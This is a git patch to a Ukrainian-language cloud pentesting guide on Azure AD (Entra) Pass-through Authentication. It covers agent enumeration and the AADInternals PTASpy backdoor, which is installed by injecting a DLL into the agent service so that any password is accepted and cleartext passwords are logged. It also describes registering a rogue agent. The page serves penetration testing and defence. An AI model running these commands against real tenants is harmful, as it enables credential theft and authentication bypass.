From feae80ffe0ac021d1e2b7069decd2f500d28568d Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 24 Jul 2025 11:26:12 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- .../pta-pass-through-authentication.md | 66 ++++++++++++++----- 1 file changed, 49 insertions(+), 17 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md index 178f18e8f..d1ed28983 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## Основна інформація -[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Azure Active Directory (Azure AD) Pass-through Authentication дозволяє вашим користувачам **увійти в якості на локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує кращий досвід для ваших користувачів - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять за допомогою Azure AD, ця функція **перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory**. +[З документації:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication дозволяє вашим користувачам **увійти в обидва - локальні та хмарні додатки, використовуючи ті ж паролі**. Ця функція забезпечує кращий досвід для ваших користувачів - один пароль менше для запам'ятовування, і зменшує витрати на IT-підтримку, оскільки ваші користувачі менш імовірно забудуть, як увійти. Коли користувачі входять, використовуючи Microsoft Entra ID, ця функція перевіряє паролі користувачів безпосередньо проти вашого локального Active Directory. -У PTA **ідентичності** **синхронізуються**, але **паролі** **ні** як у PHS. +У PTA **ідентичності** **синхронізуються**, але **паролі не** так, як у PHS. Аутентифікація перевіряється в локальному AD, а зв'язок з хмарою здійснюється через **агента аутентифікації**, що працює на **локальному сервері** (не обов'язково на локальному DC). @@ -20,22 +20,56 @@ 4. **Агент** **перевіряє** облікові дані проти **локального AD** і надсилає **відповідь** **назад** до Azure AD, яка, якщо відповідь позитивна, **завершує вхід** користувача. > [!WARNING] -> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **незахищеному** вигляді).\ +> Якщо зловмисник **компрометує** **PTA**, він може **бачити** всі **облікові дані** з черги (в **відкритому тексті**).\ > Він також може **перевірити будь-які облікові дані** до AzureAD (схожий напад на Skeleton key). -### On-Prem -> cloud +### Перерахування -Якщо у вас є **адміністративний** доступ до **сервера Azure AD Connect** з працюючим **агентом PTA**, ви можете використовувати модуль **AADInternals** для **вставки бекдору**, який **перевірятиме ВСІ паролі**, введені (так що всі паролі будуть дійсними для аутентифікації): +З Entra ID: ```bash -Install-AADIntPTASpy +az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents' +# Example response: +{ +"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())", +"value": [ +{ +"agents": [ +{ +"externalIp": "20.121.45.57", +"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c", +"machineName": "ConnectSync.hacktricks-con.azure", +"status": "active", +"supportedPublishingTypes": [ +"authentication" +] +} +], +"displayName": "Default group for Pass-through Authentication", +"id": "d372d40f-3f81-4824-8b9e-6028182db58e", +"isDefault": true, +"publishingType": "authentication" +} +] +} +``` +Перевірте, чи агент працює на локальному сервері: +```bash +Get-Service -Name "AzureADConnectAuthenticationAgent" +``` +## Pivoting + +Якщо у вас є **адміністраторський** доступ до **сервера Azure AD Connect** з запущеним **агентом PTA**, ви можете використовувати модуль **AADInternals** для **вставлення бекдору**, який буде **перевіряти ВСІ паролі**, що вводяться (так що всі паролі будуть дійсними для аутентифікації): +```bash +Install-Module AADInternals -RequiredVersion 0.9.3 +Import-Module AADInternals +Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file +Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text + +Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] > Якщо **встановлення не вдалося**, це, ймовірно, через відсутність [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). -Також можливо **побачити паролі в чистому вигляді, надіслані агенту PTA**, використовуючи наступний cmdlet на машині, де був встановлений попередній бекдор: -```bash -Get-AADIntPTASpyLog -DecodePasswords -``` Ця бекдор програма буде: - Створити приховану папку `C:\PTASpy` @@ -43,22 +77,20 @@ Get-AADIntPTASpyLog -DecodePasswords - Впровадити `PTASpy.dll` у процес `AzureADConnectAuthenticationAgentService` > [!NOTE] -> Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy "вивантажується" і його потрібно повторно встановити. - -### Хмара -> На місці +> Коли служба AzureADConnectAuthenticationAgent перезапускається, PTASpy "вивантажується" і повинна бути повторно встановлена. > [!CAUTION] -> Після отримання **GA привілеїв** у хмарі, можливо **зареєструвати новий PTA агент**, налаштувавши його на **машині, контрольованій зловмисником**. Після налаштування агента, ми можемо **повторити** **попередні** кроки для **автентифікації за допомогою будь-якого пароля** і також, **отримати паролі у відкритому тексті.** +> Після отримання **GA привілеїв** у хмарі, можливо **зареєструвати новий PTA агент** і **повторити** **попередні** кроки для **автентифікації за допомогою будь-якого пароля** та також, **отримати паролі у відкритому тексті.** -### Безшовний SSO +### Seamless SSO -Можливо використовувати безшовний SSO з PTA, який вразливий до інших зловживань. Перевірте це в: +Можливо використовувати Seamless SSO з PTA, який вразливий до інших зловживань. Перевірте це в: {{#ref}} seamless-sso.md {{#endref}} -## Посилання +## References - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta) - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)